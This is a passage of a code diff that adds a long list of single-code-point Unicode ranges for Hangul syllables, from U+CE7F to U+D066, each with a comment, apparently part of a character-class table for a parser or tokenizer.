+ ["\uCE7F", "\uCE7F"], /* Hangul Syllable */
+ ["\uCE80", "\uCE80"], /* Hangul Syllable */
+ ["\uCE81", "\uCE81"], /* Hangul Syllable */
+ ["\uCE82", "\uCE82"], /* Hangul Syllable */
+ ["\uCE83", "\uCE83"], /* Hangul Syllable */
+ ["\uCE84", "\uCE84"], /* Hangul Syllable */
+ ["\uCE85", "\uCE85"], /* Hangul Syllable */
+ ["\uCE86", "\uCE86"], /* Hangul Syllable */
+ ["\uCE87", "\uCE87"], /* Hangul Syllable */
+ ["\uCE88", "\uCE88"], /* Hangul Syllable */
+ ["\uCE89", "\uCE89"], /* Hangul Syllable */
+ ["\uCE8A", "\uCE8A"], /* Hangul Syllable */
+ ["\uCE8B", "\uCE8B"], /* Hangul Syllable */
+ ["\uCE8C", "\uCE8C"], /* Hangul Syllable */
+ ["\uCE8D", "\uCE8D"], /* Hangul Syllable */
+ ["\uCE8E", "\uCE8E"], /* Hangul Syllable */
+ ["\uCE8F", "\uCE8F"], /* Hangul Syllable */
+ ["\uCE90", "\uCE90"], /* Hangul Syllable */
+ ["\uCE91", "\uCE91"], /* Hangul Syllable */
+ ["\uCE92", "\uCE92"], /* Hangul Syllable */
+ ["\uCE93", "\uCE93"], /* Hangul Syllable */
+ ["\uCE94", "\uCE94"], /* Hangul Syllable */
+ ["\uCE95", "\uCE95"], /* Hangul Syllable */
+ ["\uCE96", "\uCE96"], /* Hangul Syllable */
+ ["\uCE97", "\uCE97"], /* Hangul Syllable */
+ ["\uCE98", "\uCE98"], /* Hangul Syllable */
+ ["\uCE99", "\uCE99"], /* Hangul Syllable */
+ ["\uCE9A", "\uCE9A"], /* Hangul Syllable */
+ ["\uCE9B", "\uCE9B"], /* Hangul Syllable */
+ ["\uCE9C", "\uCE9C"], /* Hangul Syllable */
+ ["\uCE9D", "\uCE9D"], /* Hangul Syllable */
+ ["\uCE9E", "\uCE9E"], /* Hangul Syllable */
+ ["\uCE9F", "\uCE9F"], /* Hangul Syllable */
+ ["\uCEA0", "\uCEA0"], /* Hangul Syllable */
+ ["\uCEA1", "\uCEA1"], /* Hangul Syllable */
+ ["\uCEA2", "\uCEA2"], /* Hangul Syllable */
+ ["\uCEA3", "\uCEA3"], /* Hangul Syllable */
+ ["\uCEA4", "\uCEA4"], /* Hangul Syllable */
+ ["\uCEA5", "\uCEA5"], /* Hangul Syllable */
+ ["\uCEA6", "\uCEA6"], /* Hangul Syllable */
+ ["\uCEA7", "\uCEA7"], /* Hangul Syllable */
+ ["\uCEA8", "\uCEA8"], /* Hangul Syllable */
+ ["\uCEA9", "\uCEA9"], /* Hangul Syllable */
+ ["\uCEAA", "\uCEAA"], /* Hangul Syllable */
+ ["\uCEAB", "\uCEAB"], /* Hangul Syllable */
+ ["\uCEAC", "\uCEAC"], /* Hangul Syllable */
+ ["\uCEAD", "\uCEAD"], /* Hangul Syllable */
+ ["\uCEAE", "\uCEAE"], /* Hangul Syllable */
+ ["\uCEAF", "\uCEAF"], /* Hangul Syllable */
+ ["\uCEB0", "\uCEB0"], /* Hangul Syllable */
+ ["\uCEB1", "\uCEB1"], /* Hangul Syllable */
+ ["\uCEB2", "\uCEB2"], /* Hangul Syllable */
+ ["\uCEB3", "\uCEB3"], /* Hangul Syllable */
+ ["\uCEB4", "\uCEB4"], /* Hangul Syllable */
+ ["\uCEB5", "\uCEB5"], /* Hangul Syllable */
+ ["\uCEB6", "\uCEB6"], /* Hangul Syllable */
+ ["\uCEB7", "\uCEB7"], /* Hangul Syllable */
+ ["\uCEB8", "\uCEB8"], /* Hangul Syllable */
+ ["\uCEB9", "\uCEB9"], /* Hangul Syllable */
+ ["\uCEBA", "\uCEBA"], /* Hangul Syllable */
+ ["\uCEBB", "\uCEBB"], /* Hangul Syllable */
+ ["\uCEBC", "\uCEBC"], /* Hangul Syllable */
+ ["\uCEBD", "\uCEBD"], /* Hangul Syllable */
+ ["\uCEBE", "\uCEBE"], /* Hangul Syllable */
+ ["\uCEBF", "\uCEBF"], /* Hangul Syllable */
+ ["\uCEC0", "\uCEC0"], /* Hangul Syllable */
+ ["\uCEC1", "\uCEC1"], /* Hangul Syllable */
+ ["\uCEC2", "\uCEC2"], /* Hangul Syllable */
+ ["\uCEC3", "\uCEC3"], /* Hangul Syllable */
+ ["\uCEC4", "\uCEC4"], /* Hangul Syllable */
+ ["\uCEC5", "\uCEC5"], /* Hangul Syllable */
+ ["\uCEC6", "\uCEC6"], /* Hangul Syllable */
+ ["\uCEC7", "\uCEC7"], /* Hangul Syllable */
+ ["\uCEC8", "\uCEC8"], /* Hangul Syllable */
+ ["\uCEC9", "\uCEC9"], /* Hangul Syllable */
+ ["\uCECA", "\uCECA"], /* Hangul Syllable */
+ ["\uCECB", "\uCECB"], /* Hangul Syllable */
+ ["\uCECC", "\uCECC"], /* Hangul Syllable */
+ ["\uCECD", "\uCECD"], /* Hangul Syllable */
+ ["\uCECE", "\uCECE"], /* Hangul Syllable */
+ ["\uCECF", "\uCECF"], /* Hangul Syllable */
+ ["\uCED0", "\uCED0"], /* Hangul Syllable */
+ ["\uCED1", "\uCED1"], /* Hangul Syllable */
+ ["\uCED2", "\uCED2"], /* Hangul Syllable */
+ ["\uCED3", "\uCED3"], /* Hangul Syllable */
+ ["\uCED4", "\uCED4"], /* Hangul Syllable */
+ ["\uCED5", "\uCED5"], /* Hangul Syllable */
+ ["\uCED6", "\uCED6"], /* Hangul Syllable */
+ ["\uCED7", "\uCED7"], /* Hangul Syllable */
+ ["\uCED8", "\uCED8"], /* Hangul Syllable */
+ ["\uCED9", "\uCED9"], /* Hangul Syllable */
+ ["\uCEDA", "\uCEDA"], /* Hangul Syllable */
+ ["\uCEDB", "\uCEDB"], /* Hangul Syllable */
+ ["\uCEDC", "\uCEDC"], /* Hangul Syllable */
+ ["\uCEDD", "\uCEDD"], /* Hangul Syllable */
+ ["\uCEDE", "\uCEDE"], /* Hangul Syllable */
+ ["\uCEDF", "\uCEDF"], /* Hangul Syllable */
+ ["\uCEE0", "\uCEE0"], /* Hangul Syllable */
+ ["\uCEE1", "\uCEE1"], /* Hangul Syllable */
+ ["\uCEE2", "\uCEE2"], /* Hangul Syllable */
+ ["\uCEE3", "\uCEE3"], /* Hangul Syllable */
+ ["\uCEE4", "\uCEE4"], /* Hangul Syllable */
+ ["\uCEE5", "\uCEE5"], /* Hangul Syllable */
+ ["\uCEE6", "\uCEE6"], /* Hangul Syllable */
+ ["\uCEE7", "\uCEE7"], /* Hangul Syllable */
+ ["\uCEE8", "\uCEE8"], /* Hangul Syllable */
+ ["\uCEE9", "\uCEE9"], /* Hangul Syllable */
+ ["\uCEEA", "\uCEEA"], /* Hangul Syllable */
+ ["\uCEEB", "\uCEEB"], /* Hangul Syllable */
+ ["\uCEEC", "\uCEEC"], /* Hangul Syllable */
+ ["\uCEED", "\uCEED"], /* Hangul Syllable */
+ ["\uCEEE", "\uCEEE"], /* Hangul Syllable */
+ ["\uCEEF", "\uCEEF"], /* Hangul Syllable */
+ ["\uCEF0", "\uCEF0"], /* Hangul Syllable */
+ ["\uCEF1", "\uCEF1"], /* Hangul Syllable */
+ ["\uCEF2", "\uCEF2"], /* Hangul Syllable */
+ ["\uCEF3", "\uCEF3"], /* Hangul Syllable */
+ ["\uCEF4", "\uCEF4"], /* Hangul Syllable */
+ ["\uCEF5", "\uCEF5"], /* Hangul Syllable */
+ ["\uCEF6", "\uCEF6"], /* Hangul Syllable */
+ ["\uCEF7", "\uCEF7"], /* Hangul Syllable */
+ ["\uCEF8", "\uCEF8"], /* Hangul Syllable */
+ ["\uCEF9", "\uCEF9"], /* Hangul Syllable */
+ ["\uCEFA", "\uCEFA"], /* Hangul Syllable */
+ ["\uCEFB", "\uCEFB"], /* Hangul Syllable */
+ ["\uCEFC", "\uCEFC"], /* Hangul Syllable */
+ ["\uCEFD", "\uCEFD"], /* Hangul Syllable */
+ ["\uCEFE", "\uCEFE"], /* Hangul Syllable */
+ ["\uCEFF", "\uCEFF"], /* Hangul Syllable */
+ ["\uCF00", "\uCF00"], /* Hangul Syllable */
+ ["\uCF01", "\uCF01"], /* Hangul Syllable */
+ ["\uCF02", "\uCF02"], /* Hangul Syllable */
+ ["\uCF03", "\uCF03"], /* Hangul Syllable */
+ ["\uCF04", "\uCF04"], /* Hangul Syllable */
+ ["\uCF05", "\uCF05"], /* Hangul Syllable */
+ ["\uCF06", "\uCF06"], /* Hangul Syllable */
+ ["\uCF07", "\uCF07"], /* Hangul Syllable */
+ ["\uCF08", "\uCF08"], /* Hangul Syllable */
+ ["\uCF09", "\uCF09"], /* Hangul Syllable */
+ ["\uCF0A", "\uCF0A"], /* Hangul Syllable */
+ ["\uCF0B", "\uCF0B"], /* Hangul Syllable */
+ ["\uCF0C", "\uCF0C"], /* Hangul Syllable */
+ ["\uCF0D", "\uCF0D"], /* Hangul Syllable */
+ ["\uCF0E", "\uCF0E"], /* Hangul Syllable */
+ ["\uCF0F", "\uCF0F"], /* Hangul Syllable */
+ ["\uCF10", "\uCF10"], /* Hangul Syllable */
+ ["\uCF11", "\uCF11"], /* Hangul Syllable */
+ ["\uCF12", "\uCF12"], /* Hangul Syllable */
+ ["\uCF13", "\uCF13"], /* Hangul Syllable */
+ ["\uCF14", "\uCF14"], /* Hangul Syllable */
+ ["\uCF15", "\uCF15"], /* Hangul Syllable */
+ ["\uCF16", "\uCF16"], /* Hangul Syllable */
+ ["\uCF17", "\uCF17"], /* Hangul Syllable */
+ ["\uCF18", "\uCF18"], /* Hangul Syllable */
+ ["\uCF19", "\uCF19"], /* Hangul Syllable */
+ ["\uCF1A", "\uCF1A"], /* Hangul Syllable */
+ ["\uCF1B", "\uCF1B"], /* Hangul Syllable */
+ ["\uCF1C", "\uCF1C"], /* Hangul Syllable */
+ ["\uCF1D", "\uCF1D"], /* Hangul Syllable */
+ ["\uCF1E", "\uCF1E"], /* Hangul Syllable */
+ ["\uCF1F", "\uCF1F"], /* Hangul Syllable */
+ ["\uCF20", "\uCF20"], /* Hangul Syllable */
+ ["\uCF21", "\uCF21"], /* Hangul Syllable */
+ ["\uCF22", "\uCF22"], /* Hangul Syllable */
+ ["\uCF23", "\uCF23"], /* Hangul Syllable */
+ ["\uCF24", "\uCF24"], /* Hangul Syllable */
+ ["\uCF25", "\uCF25"], /* Hangul Syllable */
+ ["\uCF26", "\uCF26"], /* Hangul Syllable */
+ ["\uCF27", "\uCF27"], /* Hangul Syllable */
+ ["\uCF28", "\uCF28"], /* Hangul Syllable */
+ ["\uCF29", "\uCF29"], /* Hangul Syllable */
+ ["\uCF2A", "\uCF2A"], /* Hangul Syllable */
+ ["\uCF2B", "\uCF2B"], /* Hangul Syllable */
+ ["\uCF2C", "\uCF2C"], /* Hangul Syllable */
+ ["\uCF2D", "\uCF2D"], /* Hangul Syllable */
+ ["\uCF2E", "\uCF2E"], /* Hangul Syllable */
+ ["\uCF2F", "\uCF2F"], /* Hangul Syllable */
+ ["\uCF30", "\uCF30"], /* Hangul Syllable */
+ ["\uCF31", "\uCF31"], /* Hangul Syllable */
+ ["\uCF32", "\uCF32"], /* Hangul Syllable */
+ ["\uCF33", "\uCF33"], /* Hangul Syllable */
+ ["\uCF34", "\uCF34"], /* Hangul Syllable */
+ ["\uCF35", "\uCF35"], /* Hangul Syllable */
+ ["\uCF36", "\uCF36"], /* Hangul Syllable */
+ ["\uCF37", "\uCF37"], /* Hangul Syllable */
+ ["\uCF38", "\uCF38"], /* Hangul Syllable */
+ ["\uCF39", "\uCF39"], /* Hangul Syllable */
+ ["\uCF3A", "\uCF3A"], /* Hangul Syllable */
+ ["\uCF3B", "\uCF3B"], /* Hangul Syllable */
+ ["\uCF3C", "\uCF3C"], /* Hangul Syllable */
+ ["\uCF3D", "\uCF3D"], /* Hangul Syllable */
+ ["\uCF3E", "\uCF3E"], /* Hangul Syllable */
+ ["\uCF3F", "\uCF3F"], /* Hangul Syllable */
+ ["\uCF40", "\uCF40"], /* Hangul Syllable */
+ ["\uCF41", "\uCF41"], /* Hangul Syllable */
+ ["\uCF42", "\uCF42"], /* Hangul Syllable */
+ ["\uCF43", "\uCF43"], /* Hangul Syllable */
+ ["\uCF44", "\uCF44"], /* Hangul Syllable */
+ ["\uCF45", "\uCF45"], /* Hangul Syllable */
+ ["\uCF46", "\uCF46"], /* Hangul Syllable */
+ ["\uCF47", "\uCF47"], /* Hangul Syllable */
+ ["\uCF48", "\uCF48"], /* Hangul Syllable */
+ ["\uCF49", "\uCF49"], /* Hangul Syllable */
+ ["\uCF4A", "\uCF4A"], /* Hangul Syllable */
+ ["\uCF4B", "\uCF4B"], /* Hangul Syllable */
+ ["\uCF4C", "\uCF4C"], /* Hangul Syllable */
+ ["\uCF4D", "\uCF4D"], /* Hangul Syllable */
+ ["\uCF4E", "\uCF4E"], /* Hangul Syllable */
+ ["\uCF4F", "\uCF4F"], /* Hangul Syllable */
+ ["\uCF50", "\uCF50"], /* Hangul Syllable */
+ ["\uCF51", "\uCF51"], /* Hangul Syllable */
+ ["\uCF52", "\uCF52"], /* Hangul Syllable */
+ ["\uCF53", "\uCF53"], /* Hangul Syllable */
+ ["\uCF54", "\uCF54"], /* Hangul Syllable */
+ ["\uCF55", "\uCF55"], /* Hangul Syllable */
+ ["\uCF56", "\uCF56"], /* Hangul Syllable */
+ ["\uCF57", "\uCF57"], /* Hangul Syllable */
+ ["\uCF58", "\uCF58"], /* Hangul Syllable */
+ ["\uCF59", "\uCF59"], /* Hangul Syllable */
+ ["\uCF5A", "\uCF5A"], /* Hangul Syllable */
+ ["\uCF5B", "\uCF5B"], /* Hangul Syllable */
+ ["\uCF5C", "\uCF5C"], /* Hangul Syllable */
+ ["\uCF5D", "\uCF5D"], /* Hangul Syllable */
+ ["\uCF5E", "\uCF5E"], /* Hangul Syllable */
+ ["\uCF5F", "\uCF5F"], /* Hangul Syllable */
+ ["\uCF60", "\uCF60"], /* Hangul Syllable */
+ ["\uCF61", "\uCF61"], /* Hangul Syllable */
+ ["\uCF62", "\uCF62"], /* Hangul Syllable */
+ ["\uCF63", "\uCF63"], /* Hangul Syllable */
+ ["\uCF64", "\uCF64"], /* Hangul Syllable */
+ ["\uCF65", "\uCF65"], /* Hangul Syllable */
+ ["\uCF66", "\uCF66"], /* Hangul Syllable */
+ ["\uCF67", "\uCF67"], /* Hangul Syllable */
+ ["\uCF68", "\uCF68"], /* Hangul Syllable */
+ ["\uCF69", "\uCF69"], /* Hangul Syllable */
+ ["\uCF6A", "\uCF6A"], /* Hangul Syllable */
+ ["\uCF6B", "\uCF6B"], /* Hangul Syllable */
+ ["\uCF6C", "\uCF6C"], /* Hangul Syllable */
+ ["\uCF6D", "\uCF6D"], /* Hangul Syllable */
+ ["\uCF6E", "\uCF6E"], /* Hangul Syllable */
+ ["\uCF6F", "\uCF6F"], /* Hangul Syllable */
+ ["\uCF70", "\uCF70"], /* Hangul Syllable */
+ ["\uCF71", "\uCF71"], /* Hangul Syllable */
+ ["\uCF72", "\uCF72"], /* Hangul Syllable */
+ ["\uCF73", "\uCF73"], /* Hangul Syllable */
+ ["\uCF74", "\uCF74"], /* Hangul Syllable */
+ ["\uCF75", "\uCF75"], /* Hangul Syllable */
+ ["\uCF76", "\uCF76"], /* Hangul Syllable */
+ ["\uCF77", "\uCF77"], /* Hangul Syllable */
+ ["\uCF78", "\uCF78"], /* Hangul Syllable */
+ ["\uCF79", "\uCF79"], /* Hangul Syllable */
+ ["\uCF7A", "\uCF7A"], /* Hangul Syllable */
+ ["\uCF7B", "\uCF7B"], /* Hangul Syllable */
+ ["\uCF7C", "\uCF7C"], /* Hangul Syllable */
+ ["\uCF7D", "\uCF7D"], /* Hangul Syllable */
+ ["\uCF7E", "\uCF7E"], /* Hangul Syllable */
+ ["\uCF7F", "\uCF7F"], /* Hangul Syllable */
+ ["\uCF80", "\uCF80"], /* Hangul Syllable */
+ ["\uCF81", "\uCF81"], /* Hangul Syllable */
+ ["\uCF82", "\uCF82"], /* Hangul Syllable */
+ ["\uCF83", "\uCF83"], /* Hangul Syllable */
+ ["\uCF84", "\uCF84"], /* Hangul Syllable */
+ ["\uCF85", "\uCF85"], /* Hangul Syllable */
+ ["\uCF86", "\uCF86"], /* Hangul Syllable */
+ ["\uCF87", "\uCF87"], /* Hangul Syllable */
+ ["\uCF88", "\uCF88"], /* Hangul Syllable */
+ ["\uCF89", "\uCF89"], /* Hangul Syllable */
+ ["\uCF8A", "\uCF8A"], /* Hangul Syllable */
+ ["\uCF8B", "\uCF8B"], /* Hangul Syllable */
+ ["\uCF8C", "\uCF8C"], /* Hangul Syllable */
+ ["\uCF8D", "\uCF8D"], /* Hangul Syllable */
+ ["\uCF8E", "\uCF8E"], /* Hangul Syllable */
+ ["\uCF8F", "\uCF8F"], /* Hangul Syllable */
+ ["\uCF90", "\uCF90"], /* Hangul Syllable */
+ ["\uCF91", "\uCF91"], /* Hangul Syllable */
+ ["\uCF92", "\uCF92"], /* Hangul Syllable */
+ ["\uCF93", "\uCF93"], /* Hangul Syllable */
+ ["\uCF94", "\uCF94"], /* Hangul Syllable */
+ ["\uCF95", "\uCF95"], /* Hangul Syllable */
+ ["\uCF96", "\uCF96"], /* Hangul Syllable */
+ ["\uCF97", "\uCF97"], /* Hangul Syllable */
+ ["\uCF98", "\uCF98"], /* Hangul Syllable */
+ ["\uCF99", "\uCF99"], /* Hangul Syllable */
+ ["\uCF9A", "\uCF9A"], /* Hangul Syllable */
+ ["\uCF9B", "\uCF9B"], /* Hangul Syllable */
+ ["\uCF9C", "\uCF9C"], /* Hangul Syllable */
+ ["\uCF9D", "\uCF9D"], /* Hangul Syllable */
+ ["\uCF9E", "\uCF9E"], /* Hangul Syllable */
+ ["\uCF9F", "\uCF9F"], /* Hangul Syllable */
+ ["\uCFA0", "\uCFA0"], /* Hangul Syllable */
+ ["\uCFA1", "\uCFA1"], /* Hangul Syllable */
+ ["\uCFA2", "\uCFA2"], /* Hangul Syllable */
+ ["\uCFA3", "\uCFA3"], /* Hangul Syllable */
+ ["\uCFA4", "\uCFA4"], /* Hangul Syllable */
+ ["\uCFA5", "\uCFA5"], /* Hangul Syllable */
+ ["\uCFA6", "\uCFA6"], /* Hangul Syllable */
+ ["\uCFA7", "\uCFA7"], /* Hangul Syllable */
+ ["\uCFA8", "\uCFA8"], /* Hangul Syllable */
+ ["\uCFA9", "\uCFA9"], /* Hangul Syllable */
+ ["\uCFAA", "\uCFAA"], /* Hangul Syllable */
+ ["\uCFAB", "\uCFAB"], /* Hangul Syllable */
+ ["\uCFAC", "\uCFAC"], /* Hangul Syllable */
+ ["\uCFAD", "\uCFAD"], /* Hangul Syllable */
+ ["\uCFAE", "\uCFAE"], /* Hangul Syllable */
+ ["\uCFAF", "\uCFAF"], /* Hangul Syllable */
+ ["\uCFB0", "\uCFB0"], /* Hangul Syllable */
+ ["\uCFB1", "\uCFB1"], /* Hangul Syllable */
+ ["\uCFB2", "\uCFB2"], /* Hangul Syllable */
+ ["\uCFB3", "\uCFB3"], /* Hangul Syllable */
+ ["\uCFB4", "\uCFB4"], /* Hangul Syllable */
+ ["\uCFB5", "\uCFB5"], /* Hangul Syllable */
+ ["\uCFB6", "\uCFB6"], /* Hangul Syllable */
+ ["\uCFB7", "\uCFB7"], /* Hangul Syllable */
+ ["\uCFB8", "\uCFB8"], /* Hangul Syllable */
+ ["\uCFB9", "\uCFB9"], /* Hangul Syllable */
+ ["\uCFBA", "\uCFBA"], /* Hangul Syllable */
+ ["\uCFBB", "\uCFBB"], /* Hangul Syllable */
+ ["\uCFBC", "\uCFBC"], /* Hangul Syllable */
+ ["\uCFBD", "\uCFBD"], /* Hangul Syllable */
+ ["\uCFBE", "\uCFBE"], /* Hangul Syllable */
+ ["\uCFBF", "\uCFBF"], /* Hangul Syllable */
+ ["\uCFC0", "\uCFC0"], /* Hangul Syllable */
+ ["\uCFC1", "\uCFC1"], /* Hangul Syllable */
+ ["\uCFC2", "\uCFC2"], /* Hangul Syllable */
+ ["\uCFC3", "\uCFC3"], /* Hangul Syllable */
+ ["\uCFC4", "\uCFC4"], /* Hangul Syllable */
+ ["\uCFC5", "\uCFC5"], /* Hangul Syllable */
+ ["\uCFC6", "\uCFC6"], /* Hangul Syllable */
+ ["\uCFC7", "\uCFC7"], /* Hangul Syllable */
+ ["\uCFC8", "\uCFC8"], /* Hangul Syllable */
+ ["\uCFC9", "\uCFC9"], /* Hangul Syllable */
+ ["\uCFCA", "\uCFCA"], /* Hangul Syllable */
+ ["\uCFCB", "\uCFCB"], /* Hangul Syllable */
+ ["\uCFCC", "\uCFCC"], /* Hangul Syllable */
+ ["\uCFCD", "\uCFCD"], /* Hangul Syllable */
+ ["\uCFCE", "\uCFCE"], /* Hangul Syllable */
+ ["\uCFCF", "\uCFCF"], /* Hangul Syllable */
+ ["\uCFD0", "\uCFD0"], /* Hangul Syllable */
+ ["\uCFD1", "\uCFD1"], /* Hangul Syllable */
+ ["\uCFD2", "\uCFD2"], /* Hangul Syllable */
+ ["\uCFD3", "\uCFD3"], /* Hangul Syllable */
+ ["\uCFD4", "\uCFD4"], /* Hangul Syllable */
+ ["\uCFD5", "\uCFD5"], /* Hangul Syllable */
+ ["\uCFD6", "\uCFD6"], /* Hangul Syllable */
+ ["\uCFD7", "\uCFD7"], /* Hangul Syllable */
+ ["\uCFD8", "\uCFD8"], /* Hangul Syllable */
+ ["\uCFD9", "\uCFD9"], /* Hangul Syllable */
+ ["\uCFDA", "\uCFDA"], /* Hangul Syllable */
+ ["\uCFDB", "\uCFDB"], /* Hangul Syllable */
+ ["\uCFDC", "\uCFDC"], /* Hangul Syllable */
+ ["\uCFDD", "\uCFDD"], /* Hangul Syllable */
+ ["\uCFDE", "\uCFDE"], /* Hangul Syllable */
+ ["\uCFDF", "\uCFDF"], /* Hangul Syllable */
+ ["\uCFE0", "\uCFE0"], /* Hangul Syllable */
+ ["\uCFE1", "\uCFE1"], /* Hangul Syllable */
+ ["\uCFE2", "\uCFE2"], /* Hangul Syllable */
+ ["\uCFE3", "\uCFE3"], /* Hangul Syllable */
+ ["\uCFE4", "\uCFE4"], /* Hangul Syllable */
+ ["\uCFE5", "\uCFE5"], /* Hangul Syllable */
+ ["\uCFE6", "\uCFE6"], /* Hangul Syllable */
+ ["\uCFE7", "\uCFE7"], /* Hangul Syllable */
+ ["\uCFE8", "\uCFE8"], /* Hangul Syllable */
+ ["\uCFE9", "\uCFE9"], /* Hangul Syllable */
+ ["\uCFEA", "\uCFEA"], /* Hangul Syllable */
+ ["\uCFEB", "\uCFEB"], /* Hangul Syllable */
+ ["\uCFEC", "\uCFEC"], /* Hangul Syllable */
+ ["\uCFED", "\uCFED"], /* Hangul Syllable */
+ ["\uCFEE", "\uCFEE"], /* Hangul Syllable */
+ ["\uCFEF", "\uCFEF"], /* Hangul Syllable */
+ ["\uCFF0", "\uCFF0"], /* Hangul Syllable */
+ ["\uCFF1", "\uCFF1"], /* Hangul Syllable */
+ ["\uCFF2", "\uCFF2"], /* Hangul Syllable */
+ ["\uCFF3", "\uCFF3"], /* Hangul Syllable */
+ ["\uCFF4", "\uCFF4"], /* Hangul Syllable */
+ ["\uCFF5", "\uCFF5"], /* Hangul Syllable */
+ ["\uCFF6", "\uCFF6"], /* Hangul Syllable */
+ ["\uCFF7", "\uCFF7"], /* Hangul Syllable */
+ ["\uCFF8", "\uCFF8"], /* Hangul Syllable */
+ ["\uCFF9", "\uCFF9"], /* Hangul Syllable */
+ ["\uCFFA", "\uCFFA"], /* Hangul Syllable */
+ ["\uCFFB", "\uCFFB"], /* Hangul Syllable */
+ ["\uCFFC", "\uCFFC"], /* Hangul Syllable */
+ ["\uCFFD", "\uCFFD"], /* Hangul Syllable */
+ ["\uCFFE", "\uCFFE"], /* Hangul Syllable */
+ ["\uCFFF", "\uCFFF"], /* Hangul Syllable */
+ ["\uD000", "\uD000"], /* Hangul Syllable */
+ ["\uD001", "\uD001"], /* Hangul Syllable */
+ ["\uD002", "\uD002"], /* Hangul Syllable */
+ ["\uD003", "\uD003"], /* Hangul Syllable */
+ ["\uD004", "\uD004"], /* Hangul Syllable */
+ ["\uD005", "\uD005"], /* Hangul Syllable */
+ ["\uD006", "\uD006"], /* Hangul Syllable */
+ ["\uD007", "\uD007"], /* Hangul Syllable */
+ ["\uD008", "\uD008"], /* Hangul Syllable */
+ ["\uD009", "\uD009"], /* Hangul Syllable */
+ ["\uD00A", "\uD00A"], /* Hangul Syllable */
+ ["\uD00B", "\uD00B"], /* Hangul Syllable */
+ ["\uD00C", "\uD00C"], /* Hangul Syllable */
+ ["\uD00D", "\uD00D"], /* Hangul Syllable */
+ ["\uD00E", "\uD00E"], /* Hangul Syllable */
+ ["\uD00F", "\uD00F"], /* Hangul Syllable */
+ ["\uD010", "\uD010"], /* Hangul Syllable */
+ ["\uD011", "\uD011"], /* Hangul Syllable */
+ ["\uD012", "\uD012"], /* Hangul Syllable */
+ ["\uD013", "\uD013"], /* Hangul Syllable */
+ ["\uD014", "\uD014"], /* Hangul Syllable */
+ ["\uD015", "\uD015"], /* Hangul Syllable */
+ ["\uD016", "\uD016"], /* Hangul Syllable */
+ ["\uD017", "\uD017"], /* Hangul Syllable */
+ ["\uD018", "\uD018"], /* Hangul Syllable */
+ ["\uD019", "\uD019"], /* Hangul Syllable */
+ ["\uD01A", "\uD01A"], /* Hangul Syllable */
+ ["\uD01B", "\uD01B"], /* Hangul Syllable */
+ ["\uD01C", "\uD01C"], /* Hangul Syllable */
+ ["\uD01D", "\uD01D"], /* Hangul Syllable */
+ ["\uD01E", "\uD01E"], /* Hangul Syllable */
+ ["\uD01F", "\uD01F"], /* Hangul Syllable */
+ ["\uD020", "\uD020"], /* Hangul Syllable */
+ ["\uD021", "\uD021"], /* Hangul Syllable */
+ ["\uD022", "\uD022"], /* Hangul Syllable */
+ ["\uD023", "\uD023"], /* Hangul Syllable */
+ ["\uD024", "\uD024"], /* Hangul Syllable */
+ ["\uD025", "\uD025"], /* Hangul Syllable */
+ ["\uD026", "\uD026"], /* Hangul Syllable */
+ ["\uD027", "\uD027"], /* Hangul Syllable */
+ ["\uD028", "\uD028"], /* Hangul Syllable */
+ ["\uD029", "\uD029"], /* Hangul Syllable */
+ ["\uD02A", "\uD02A"], /* Hangul Syllable */
+ ["\uD02B", "\uD02B"], /* Hangul Syllable */
+ ["\uD02C", "\uD02C"], /* Hangul Syllable */
+ ["\uD02D", "\uD02D"], /* Hangul Syllable */
+ ["\uD02E", "\uD02E"], /* Hangul Syllable */
+ ["\uD02F", "\uD02F"], /* Hangul Syllable */
+ ["\uD030", "\uD030"], /* Hangul Syllable */
+ ["\uD031", "\uD031"], /* Hangul Syllable */
+ ["\uD032", "\uD032"], /* Hangul Syllable */
+ ["\uD033", "\uD033"], /* Hangul Syllable */
+ ["\uD034", "\uD034"], /* Hangul Syllable */
+ ["\uD035", "\uD035"], /* Hangul Syllable */
+ ["\uD036", "\uD036"], /* Hangul Syllable */
+ ["\uD037", "\uD037"], /* Hangul Syllable */
+ ["\uD038", "\uD038"], /* Hangul Syllable */
+ ["\uD039", "\uD039"], /* Hangul Syllable */
+ ["\uD03A", "\uD03A"], /* Hangul Syllable */
+ ["\uD03B", "\uD03B"], /* Hangul Syllable */
+ ["\uD03C", "\uD03C"], /* Hangul Syllable */
+ ["\uD03D", "\uD03D"], /* Hangul Syllable */
+ ["\uD03E", "\uD03E"], /* Hangul Syllable */
+ ["\uD03F", "\uD03F"], /* Hangul Syllable */
+ ["\uD040", "\uD040"], /* Hangul Syllable */
+ ["\uD041", "\uD041"], /* Hangul Syllable */
+ ["\uD042", "\uD042"], /* Hangul Syllable */
+ ["\uD043", "\uD043"], /* Hangul Syllable */
+ ["\uD044", "\uD044"], /* Hangul Syllable */
+ ["\uD045", "\uD045"], /* Hangul Syllable */
+ ["\uD046", "\uD046"], /* Hangul Syllable */
+ ["\uD047", "\uD047"], /* Hangul Syllable */
+ ["\uD048", "\uD048"], /* Hangul Syllable */
+ ["\uD049", "\uD049"], /* Hangul Syllable */
+ ["\uD04A", "\uD04A"], /* Hangul Syllable */
+ ["\uD04B", "\uD04B"], /* Hangul Syllable */
+ ["\uD04C", "\uD04C"], /* Hangul Syllable */
+ ["\uD04D", "\uD04D"], /* Hangul Syllable */
+ ["\uD04E", "\uD04E"], /* Hangul Syllable */
+ ["\uD04F", "\uD04F"], /* Hangul Syllable */
+ ["\uD050", "\uD050"], /* Hangul Syllable */
+ ["\uD051", "\uD051"], /* Hangul Syllable */
+ ["\uD052", "\uD052"], /* Hangul Syllable */
+ ["\uD053", "\uD053"], /* Hangul Syllable */
+ ["\uD054", "\uD054"], /* Hangul Syllable */
+ ["\uD055", "\uD055"], /* Hangul Syllable */
+ ["\uD056", "\uD056"], /* Hangul Syllable */
+ ["\uD057", "\uD057"], /* Hangul Syllable */
+ ["\uD058", "\uD058"], /* Hangul Syllable */
+ ["\uD059", "\uD059"], /* Hangul Syllable */
+ ["\uD05A", "\uD05A"], /* Hangul Syllable */
+ ["\uD05B", "\uD05B"], /* Hangul Syllable */
+ ["\uD05C", "\uD05C"], /* Hangul Syllable */
+ ["\uD05D", "\uD05D"], /* Hangul Syllable */
+ ["\uD05E", "\uD05E"], /* Hangul Syllable */
+ ["\uD05F", "\uD05F"], /* Hangul Syllable */
+ ["\uD060", "\uD060"], /* Hangul Syllable */
+ ["\uD061", "\uD061"], /* Hangul Syllable */
+ ["\uD062", "\uD062"], /* Hangul Syllable */
+ ["\uD063", "\uD063"], /* Hangul Syllable */
+ ["\uD064", "\uD064"], /* Hangul Syllable */
+ ["\uD065", "\uD065"], /* Hangul Syllable */
+ ["\uD066", "\uD066"], /* Hangul Syllable */
